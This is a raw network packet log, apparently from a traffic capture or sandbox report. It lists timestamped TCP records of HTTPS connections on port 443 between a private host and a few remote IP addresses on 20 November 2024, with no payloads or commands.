Nov 20, 2024 06:40:57.243798971 CET	443	50042	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:57.261090040 CET	443	50040	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:57.261162996 CET	443	50040	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:57.261203051 CET	50040	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:57.261677027 CET	50046	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:57.261719942 CET	443	50046	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:57.261719942 CET	50040	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:57.261725903 CET	443	50040	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:57.261734962 CET	50040	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:57.261738062 CET	443	50040	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:57.261810064 CET	50046	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:57.262190104 CET	50046	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:57.262198925 CET	443	50046	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:57.264235973 CET	50047	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:57.264245987 CET	443	50047	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:57.264358044 CET	50047	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:57.264478922 CET	50047	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:57.264486074 CET	443	50047	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:57.322859049 CET	443	50043	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:57.323342085 CET	50043	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:57.323354006 CET	443	50043	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:57.323766947 CET	50043	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:57.323771000 CET	443	50043	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:57.421607971 CET	443	50043	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:57.421742916 CET	443	50043	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:57.421791077 CET	443	50043	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:57.421839952 CET	50043	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:57.421897888 CET	50043	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:57.421902895 CET	443	50043	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:57.421912909 CET	50043	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:57.421921015 CET	443	50043	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:57.424582958 CET	50048	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:57.424633026 CET	443	50048	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:57.424695969 CET	50048	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:57.424881935 CET	50048	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:57.424896002 CET	443	50048	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:57.763542891 CET	443	50044	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:57.764192104 CET	50044	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:57.764211893 CET	443	50044	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:57.764834881 CET	50044	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:57.764839888 CET	443	50044	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:57.862051010 CET	443	50044	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:57.862505913 CET	443	50044	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:57.862572908 CET	50044	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:57.862665892 CET	50044	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:57.862692118 CET	443	50044	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:57.862700939 CET	50044	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:57.862705946 CET	443	50044	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:57.865623951 CET	50049	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:57.865664959 CET	443	50049	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:57.865751982 CET	50049	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:57.865869999 CET	50049	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:57.865878105 CET	443	50049	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:57.874217987 CET	443	50045	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:57.874669075 CET	50045	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:57.874737978 CET	443	50045	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:57.875118017 CET	50045	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:57.875133038 CET	443	50045	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:57.907614946 CET	443	50047	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:57.908160925 CET	50047	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:57.908195019 CET	443	50047	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:57.908571005 CET	50047	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:57.908581972 CET	443	50047	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:57.941638947 CET	443	50046	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:57.942380905 CET	50046	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:57.942428112 CET	443	50046	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:57.943344116 CET	50046	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:57.943348885 CET	443	50046	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:57.973360062 CET	443	50045	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:57.973424911 CET	443	50045	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:57.973489046 CET	50045	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:57.973531008 CET	443	50045	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:57.973647118 CET	50045	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:57.973856926 CET	50045	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:57.973896980 CET	443	50045	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:57.973923922 CET	50045	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:57.973938942 CET	443	50045	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:57.978387117 CET	50050	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:57.978439093 CET	443	50050	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:57.978516102 CET	50050	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:57.978636026 CET	50050	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:57.978652000 CET	443	50050	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:58.010551929 CET	443	50047	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:58.010626078 CET	443	50047	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:58.010699987 CET	50047	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:58.010725975 CET	443	50047	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:58.010757923 CET	443	50047	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:58.010819912 CET	50047	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:58.010972977 CET	50047	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:58.010993004 CET	443	50047	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:58.011017084 CET	50047	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:58.011027098 CET	443	50047	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:58.013916016 CET	50051	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:58.013952017 CET	443	50051	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:58.014082909 CET	50051	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:58.014183998 CET	50051	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:58.014189959 CET	443	50051	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:58.043843985 CET	443	50046	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:58.044003010 CET	443	50046	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:58.044109106 CET	50046	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:58.044296980 CET	50046	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:58.044318914 CET	443	50046	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:58.044332981 CET	50046	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:58.044339895 CET	443	50046	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:58.046891928 CET	50052	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:58.046914101 CET	443	50052	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:58.047127008 CET	50052	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:58.047379017 CET	50052	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:58.047394037 CET	443	50052	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:58.093039036 CET	443	50048	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:58.093584061 CET	50048	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:58.093601942 CET	443	50048	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:58.094360113 CET	50048	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:58.094364882 CET	443	50048	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:58.197521925 CET	443	50048	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:58.197860003 CET	443	50048	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:58.197922945 CET	50048	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:58.198373079 CET	50048	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:58.198391914 CET	443	50048	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:58.198402882 CET	50048	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:58.198407888 CET	443	50048	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:58.202447891 CET	50053	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:58.202522039 CET	443	50053	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:58.202771902 CET	50053	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:58.203012943 CET	50053	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:58.203048944 CET	443	50053	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:58.541799068 CET	443	50049	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:58.542267084 CET	50049	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:58.542284012 CET	443	50049	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:58.543004036 CET	50049	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:58.543009043 CET	443	50049	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:58.646414042 CET	443	50049	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:58.646724939 CET	443	50049	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:58.646847010 CET	50049	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:58.646925926 CET	50049	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:58.646944046 CET	443	50049	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:58.646956921 CET	50049	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:58.646961927 CET	443	50049	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:58.650024891 CET	50054	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:58.650069952 CET	443	50054	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:58.650142908 CET	50054	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:58.650387049 CET	50054	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:58.650404930 CET	443	50054	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:58.650424004 CET	443	50050	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:58.650902033 CET	50050	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:58.650927067 CET	443	50050	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:58.651659966 CET	50050	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:58.651664972 CET	443	50050	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:58.683696985 CET	50055	443	192.168.2.5	4.175.87.197
Nov 20, 2024 06:40:58.683723927 CET	443	50055	4.175.87.197	192.168.2.5
Nov 20, 2024 06:40:58.683979034 CET	50055	443	192.168.2.5	4.175.87.197
Nov 20, 2024 06:40:58.684392929 CET	50055	443	192.168.2.5	4.175.87.197
Nov 20, 2024 06:40:58.684401035 CET	443	50055	4.175.87.197	192.168.2.5
Nov 20, 2024 06:40:58.686094046 CET	443	50051	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:58.686477900 CET	50051	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:58.686490059 CET	443	50051	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:58.687002897 CET	50051	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:58.687005997 CET	443	50051	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:58.690627098 CET	443	50052	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:58.690990925 CET	50052	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:58.691008091 CET	443	50052	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:58.691359997 CET	50052	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:58.691365004 CET	443	50052	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:58.756843090 CET	443	50050	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:58.756990910 CET	443	50050	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:58.757108927 CET	50050	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:58.757164001 CET	50050	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:58.757179022 CET	443	50050	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:58.757188082 CET	50050	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:58.757194042 CET	443	50050	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:58.759676933 CET	50056	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:58.759758949 CET	443	50056	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:58.759850025 CET	50056	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:58.760000944 CET	50056	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:58.760035038 CET	443	50056	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:58.788453102 CET	443	50051	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:58.788783073 CET	443	50051	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:58.788836002 CET	443	50051	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:58.788840055 CET	50051	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:58.788933039 CET	50051	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:58.789032936 CET	50051	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:58.789047003 CET	443	50051	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:58.789060116 CET	50051	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:58.789072037 CET	443	50051	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:58.789946079 CET	443	50052	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:58.790215015 CET	443	50052	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:58.790299892 CET	50052	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:58.790416002 CET	50052	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:58.790436029 CET	443	50052	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:58.790466070 CET	50052	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:58.790472984 CET	443	50052	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:58.792567968 CET	50057	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:58.792607069 CET	443	50057	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:58.792655945 CET	50058	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:58.792700052 CET	443	50058	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:58.792721987 CET	50057	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:58.792768955 CET	50058	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:58.792895079 CET	50058	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:58.792908907 CET	443	50058	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:58.793024063 CET	50057	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:58.793036938 CET	443	50057	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:58.852273941 CET	443	50053	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:58.852821112 CET	50053	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:58.852853060 CET	443	50053	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:58.853280067 CET	50053	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:58.853283882 CET	443	50053	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:58.953522921 CET	443	50053	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:58.953694105 CET	443	50053	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:58.953865051 CET	50053	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:58.954304934 CET	50053	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:58.954324007 CET	443	50053	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:58.954448938 CET	50053	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:58.954453945 CET	443	50053	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:58.958354950 CET	50059	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:58.958409071 CET	443	50059	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:58.958497047 CET	50059	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:58.958913088 CET	50059	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:58.958931923 CET	443	50059	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:59.321338892 CET	443	50054	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:59.321854115 CET	50054	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:59.321878910 CET	443	50054	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:59.322412014 CET	50054	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:59.322431087 CET	443	50054	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:59.400068045 CET	443	50056	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:59.400679111 CET	50056	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:59.400712013 CET	443	50056	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:59.401190996 CET	50056	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:59.401201010 CET	443	50056	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:59.426044941 CET	443	50054	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:59.426105976 CET	443	50054	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:59.426273108 CET	50054	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:59.426290989 CET	443	50054	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:59.426363945 CET	50054	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:59.426450014 CET	50054	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:59.426469088 CET	443	50054	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:59.426482916 CET	50054	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:59.426489115 CET	443	50054	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:59.429137945 CET	50060	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:59.429169893 CET	443	50060	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:59.429363966 CET	50060	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:59.429507017 CET	50060	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:59.429517031 CET	443	50060	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:59.442148924 CET	443	50057	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:59.443128109 CET	50057	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:59.443192959 CET	443	50057	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:59.443536997 CET	50057	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:59.443552017 CET	443	50057	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:59.458913088 CET	443	50058	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:59.459314108 CET	50058	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:59.459357977 CET	443	50058	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:59.459676981 CET	50058	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:59.459691048 CET	443	50058	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:59.501167059 CET	443	50056	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:59.501322985 CET	443	50056	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:59.501535892 CET	50056	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:59.501576900 CET	50056	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:59.501595974 CET	443	50056	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:59.501620054 CET	50056	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:59.501626968 CET	443	50056	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:59.504014969 CET	50061	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:59.504056931 CET	443	50061	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:59.504178047 CET	50061	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:59.504293919 CET	50061	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:59.504306078 CET	443	50061	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:59.543529034 CET	443	50057	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:59.543550014 CET	443	50057	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:59.543631077 CET	50057	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:59.543663979 CET	443	50057	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:59.543708086 CET	443	50057	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:59.543797016 CET	50057	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:59.543998003 CET	50057	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:59.544018030 CET	443	50057	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:59.544032097 CET	50057	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:59.544039011 CET	443	50057	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:59.547072887 CET	50062	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:59.547101021 CET	443	50062	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:59.547390938 CET	50062	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:59.547501087 CET	50062	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:59.547508001 CET	443	50062	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:59.562861919 CET	443	50058	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:59.562886953 CET	443	50058	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:59.562968016 CET	443	50058	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:59.562968969 CET	50058	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:59.563174009 CET	50058	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:59.563244104 CET	50058	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:59.563260078 CET	443	50058	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:59.563278913 CET	50058	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:59.563287020 CET	443	50058	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:59.565324068 CET	50063	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:59.565350056 CET	443	50063	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:59.565488100 CET	50063	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:59.565588951 CET	50063	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:59.565601110 CET	443	50063	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:59.594870090 CET	443	50059	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:59.595359087 CET	50059	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:59.595387936 CET	443	50059	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:59.595963955 CET	50059	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:59.595971107 CET	443	50059	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:59.695564032 CET	443	50059	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:59.695596933 CET	443	50059	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:59.695666075 CET	50059	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:59.695692062 CET	443	50059	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:59.695727110 CET	443	50059	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:59.695805073 CET	50059	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:59.695938110 CET	50059	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:59.695938110 CET	50059	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:59.695952892 CET	443	50059	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:59.695960999 CET	443	50059	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:59.699661016 CET	50064	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:59.699682951 CET	443	50064	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:59.699742079 CET	50064	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:59.699985981 CET	50064	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:59.699994087 CET	443	50064	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:00.271682024 CET	443	50060	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:00.272747040 CET	50060	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:00.272761106 CET	443	50060	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:00.273770094 CET	50060	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:00.273775101 CET	443	50060	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:00.274401903 CET	443	50061	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:00.274930954 CET	50061	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:00.274996042 CET	443	50061	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:00.275584936 CET	50061	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:00.275594950 CET	443	50061	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:00.277964115 CET	443	50062	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:00.278043985 CET	443	50063	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:00.278826952 CET	50062	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:00.278832912 CET	443	50062	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:00.279789925 CET	50062	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:00.279794931 CET	443	50062	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:00.280827045 CET	50063	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:00.280833960 CET	443	50063	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:00.281357050 CET	50063	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:00.281362057 CET	443	50063	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:00.376960039 CET	443	50061	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:00.377341986 CET	443	50061	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:00.377527952 CET	50061	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:00.377592087 CET	50061	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:00.377610922 CET	443	50061	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:00.377624989 CET	50061	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:00.377631903 CET	443	50061	13.107.246.45	192.168.2.5
